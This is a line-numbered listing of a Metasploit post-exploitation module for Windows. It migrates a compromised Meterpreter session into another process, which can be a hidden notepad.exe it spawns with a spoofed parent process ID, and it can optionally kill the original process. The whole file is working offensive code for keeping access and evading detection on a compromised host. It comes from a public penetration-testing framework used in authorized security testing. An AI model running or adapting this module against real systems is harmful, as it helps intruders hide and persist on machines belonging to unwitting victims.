Real-time collaboration for Jupyter Notebooks, Linux Terminals, LaTeX, VS Code, R IDE, and more,
all in one place.

1
##
2
# This module requires Metasploit: https://metasploit.com/download
3
# Current source: https://github.com/rapid7/metasploit-framework
4
##
5

6
class MetasploitModule < Msf::Post
7
  include Msf::Post::Common
8
  include Msf::Post::Windows::Process
9

10
  def initialize(info = {})
11
    super(
12
      update_info(
13
        info,
14
        'Name' => 'Windows Manage Process Migration',
15
        'Description' => %q{
16
          This module will migrate a Meterpreter session from one process
17
          to another. A given process PID to migrate to or the module can spawn one and
18
          migrate to that newly spawned process.
19
        },
20
        'License' => MSF_LICENSE,
21
        'Author' => [
22
          'Carlos Perez <carlos_perez[at]darkoperator.com>',
23
          'phra <https://iwantmore.pizza>'
24
        ],
25
        'Platform' => [ 'win' ],
26
        'SessionTypes' => [ 'meterpreter' ],
27
        'Compat' => {
28
          'Meterpreter' => {
29
            'Commands' => %w[
30
              core_migrate
31
              stdapi_sys_config_getenv
32
              stdapi_sys_process_attach
33
              stdapi_sys_process_execute
34
              stdapi_sys_process_kill
35
            ]
36
          }
37
        }
38
      )
39
    )
40

41
    register_options(
42
      [
43
        OptBool.new('SPAWN', [false, 'Spawn process to migrate to. If set, notepad.exe is used.', true]),
44
        OptInt.new('PID', [false, 'PID of process to migrate to.', 0]),
45
        OptInt.new('PPID', [false, 'Process Identifier for PPID spoofing when creating a new process. (0 = no PPID spoofing).', 0]),
46
        OptString.new('PPID_NAME', [false, 'Name of process for PPID spoofing when creating a new process.']),
47
        OptString.new('NAME', [false, 'Name of process to migrate to.']),
48
        OptBool.new('KILL', [false, 'Kill original process for the session.', false])
49
      ]
50
    )
51
  end
52

53
  # Run Method for when run command is issued
54
  def run
55
    print_status("Running module against #{sysinfo['Computer']}")
56

57
    server = session.sys.process.open
58
    original_pid = server.pid
59
    print_status("Current server process: #{server.name} (#{server.pid})")
60

61
    target_pid = nil
62

63
    if datastore['SPAWN'] && (datastore['SPAWN'] != '')
64
      target_pid = create_temp_proc
65
    elsif datastore['PID'] && (datastore['PID'] != 0)
66
      target_pid = datastore['PID']
67
    elsif datastore['NAME'] && (datastore['NAME'] != '')
68
      target_pid = session.sys.process[datastore['NAME']]
69
    end
70

71
    if !target_pid || !has_pid?(target_pid)
72
      print_error("Process #{target_pid} not found")
73
      return
74
    end
75

76
    begin
77
      print_status("Migrating into #{target_pid}")
78
      session.core.migrate(target_pid)
79
      print_good("Successfully migrated into process #{target_pid}")
80
    rescue ::Exception => e
81
      print_error('Could not migrate into process')
82
      print_error("Exception: #{e.class} : #{e}")
83
    end
84

85
    if datastore['KILL']
86
      print_status("Killing original process with PID #{original_pid}")
87
      if has_pid?(original_pid)
88
        session.sys.process.kill(original_pid)
89
        print_good("Successfully killed process with PID #{original_pid}")
90
      else
91
        print_warning("PID #{original_pid} exited on its own")
92
      end
93
    end
94
  end
95

96
  # Creates a temp notepad.exe to migrate to depending the architecture.
97
  def create_temp_proc
98
    target_ppid = session.sys.process[datastore['PPID_NAME']] || datastore['PPID']
99
    cmd = get_notepad_pathname(client.arch, client.sys.config.getenv('windir'), client.arch)
100

101
    print_status('Spawning notepad.exe process to migrate into')
102

103
    if (target_ppid != 0) && !has_pid?(target_ppid)
104
      print_error("Process #{target_ppid} not found")
105
      return
106
    elsif has_pid?(target_ppid)
107
      print_status("Spoofing PPID #{target_ppid}")
108
    end
109

110
    # run hidden
111
    proc = session.sys.process.execute(cmd, nil, {
112
      'Hidden' => true,
113
      'ParentPid' => target_ppid
114
    })
115

116
    return proc.pid
117
  end
118
end
119

120